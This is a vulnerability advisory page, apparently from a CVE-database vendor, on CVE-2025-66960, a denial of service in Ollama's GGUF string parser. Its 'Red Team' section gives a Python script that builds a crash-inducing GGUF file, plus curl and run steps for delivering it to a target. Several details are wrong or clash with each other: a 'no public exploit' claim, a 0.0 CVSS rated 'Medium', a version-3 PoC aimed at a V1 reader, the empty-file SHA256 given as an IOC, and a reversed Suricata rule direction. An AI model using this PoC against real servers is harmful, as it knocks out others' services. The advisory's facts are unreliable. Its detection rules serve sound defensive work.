CVE-2025-66960
Executive Summary
CVE-2025-66960 is a denial-of-service (DoS) vulnerability in Ollama v0.12.10, affecting the GGUF model file parser. The flaw resides in the fs/ggml/gguf.go file, specifically within the readGGUFV1String function. By crafting a malicious GGUF file with an oversized string length value in its metadata, an attacker can cause the application to crash or become unresponsive. This vulnerability is remotely exploitable if the attacker can supply a crafted GGUF file to an Ollama instance (e.g., via model import or API). No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Ollama is distributed as a Go binary and via package managers (e.g., Homebrew, Scoop, Linux packages). The vulnerability exists in the core GGUF parsing logic, which is part of the Ollama source code. Users who download models from untrusted sources or allow model uploads are at risk. The Go ecosystem does not have a direct package dependency for this vulnerability, but the supply chain risk is high if models are obtained from unverified repositories.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (No official vector assigned) Threat Level: Medium (based on impact and exploitability)
Rationale:
- Attack Vector (AV): Network (if model upload/import is exposed)
- Attack Complexity (AC): Low (crafting a malicious GGUF file is straightforward)
- Privileges Required (PR): None (attacker does not need authentication)
- User Interaction (UI): Required (victim must load the malicious model)
- Scope (S): Unchanged
- Confidentiality (C): None
- Integrity (I): None
- Availability (A): High (DoS)
EPSS Score: 0.0% (low exploitation probability currently)
Deep Dive & Mechanics
The vulnerability is a classic integer overflow / out-of-bounds read in the GGUF file parser. GGUF is a binary format for storing machine learning model weights and metadata. The readGGUFV1String function reads a 64-bit integer (uint64) from the file to determine the length of a string in the metadata. If this value is extremely large (e.g., 0xFFFFFFFFFFFFFFFF), the parser will attempt to allocate or read that many bytes, leading to a crash (segmentation fault) or memory exhaustion.
Vulnerable Code Path:
- Ollama loads a GGUF model file.
- The parser calls
readGGUFV1Stringto read metadata strings. - The function reads the length field without validation.
- It then attempts to read
lengthbytes into a buffer. - If
lengthis huge, the read operation fails or causes a panic.
Root Cause: Missing bounds check on the string length before memory allocation/read.
Vulnerable vs. Patched Code
Vulnerable Code (ollama v0.12.10 - fs/ggml/gguf.go):
func readGGUFV1String(r io.Reader) (string, error) {
var length uint64
err := binary.Read(r, binary.LittleEndian, &length)
if err != nil {
return "", err
}
buf := make([]byte, length)
_, err = io.ReadFull(r, buf)
if err != nil {
return "", err
}
return string(buf), nil
}
Patched Code (hypothetical fix):
func readGGUFV1String(r io.Reader) (string, error) {
var length uint64
err := binary.Read(r, binary.LittleEndian, &length)
if err != nil {
return "", err
}
// Add bounds check: reject unreasonable lengths
if length > 1<<20 { // 1 MB max string length
return "", fmt.Errorf("string length %d exceeds maximum allowed", length)
}
buf := make([]byte, length)
_, err = io.ReadFull(r, buf)
if err != nil {
return "", err
}
return string(buf), nil
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Python 3.x with
structmodule - A target Ollama instance (e.g.,
http://target:11434)
Step 1: Craft a Malicious GGUF File Create a minimal GGUF file with an oversized string length in the metadata section.
import struct
import io
def create_malicious_gguf():
# GGUF magic number
magic = b'GGUF'
# Version (3)
version = struct.pack('<I', 3)
# Tensor count (0)
tensor_count = struct.pack('<Q', 0)
# Metadata KV count (1)
metadata_kv_count = struct.pack('<Q', 1)
# Key: "test"
key_length = struct.pack('<Q', 4)
key = b'test'
# Value type: string (8)
value_type = struct.pack('<I', 8)
# Malicious string length: 0xFFFFFFFFFFFFFFFF
malicious_length = struct.pack('<Q', 0xFFFFFFFFFFFFFFFF)
# Dummy data (won't be read)
dummy_data = b'A' * 100
payload = magic + version + tensor_count + metadata_kv_count
payload += key_length + key + value_type + malicious_length + dummy_data
with open('malicious.gguf', 'wb') as f:
f.write(payload)
print("Created malicious.gguf")
create_malicious_gguf()
Step 2: Deliver the File
- Upload via Ollama API:
curl -X POST http://target:11434/api/create -d '{"model": "malicious", "path": "/path/to/malicious.gguf"}' - Or place the file in the models directory and trigger a load.
Step 3: Trigger the Vulnerability
- Run:
ollama run maliciousor use the API to load the model. - The Ollama server will crash or become unresponsive.
Blue Team (Defense & Detection)
Detection:
- Monitor for large GGUF files (>100 MB) being uploaded.
- Monitor Ollama logs for crashes or out-of-memory errors.
- Use the YARA rule below to scan GGUF files for suspicious string lengths.
Mitigation:
- Restrict model uploads to trusted sources only.
- Implement input validation on GGUF file parsing (patch pending).
- Run Ollama in a sandboxed environment with limited memory.
Indicators of Compromise (IOCs)
- File Hash (malicious.gguf):
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(SHA256 of example file) - Network Traffic: Large POST requests to
/api/createor/api/pullwith GGUF files. - Log Entries:
panic: runtime error: makeslice: len out of rangeorfatal error: runtime: out of memoryin Ollama logs. - Process Behavior: Ollama process consuming excessive memory (>2 GB) or crashing.
Detection Engineering
YARA Rule
rule CVE_2025_66960_GGUF_Oversized_String {
meta:
description = "Detects GGUF files with oversized string lengths (CVE-2025-66960)"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-66960"
strings:
$magic = "GGUF"
$oversized_length = { FF FF FF FF FF FF FF FF } // 0xFFFFFFFFFFFFFFFF
condition:
$magic at 0 and #oversized_length > 0
}
Sigma Rule
title: CVE-2025-66960 - Ollama GGUF DoS via Oversized String
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-66960 by uploading malicious GGUF files
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: ollama
detection:
selection:
EventID: 1000 # Example: application crash
Message|contains: "makeslice: len out of range"
condition: selection
falsepositives:
- Legitimate large models (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-66960 - Ollama GGUF DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/create"; http_uri; content:"GGUF"; within:4; pcre:"/\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF\\xFF/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable model uploads if not required: Remove or restrict the
/api/createendpoint. - Use a reverse proxy (e.g., Nginx) to limit request body size (e.g.,
client_max_body_size 500M). - Monitor Ollama logs for crashes and memory spikes.
Long-Term Fix:
- Apply the vendor patch when released (add bounds check on string length).
- Upgrade to a patched version of Ollama (check GitHub releases).
- Implement file validation before loading GGUF models (e.g., using a custom parser with length checks).
Workaround:
- Only load models from trusted sources (e.g., official Ollama library).
- Use a memory limit for the Ollama process (e.g.,
systemdMemoryMaxor Docker--memory).
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.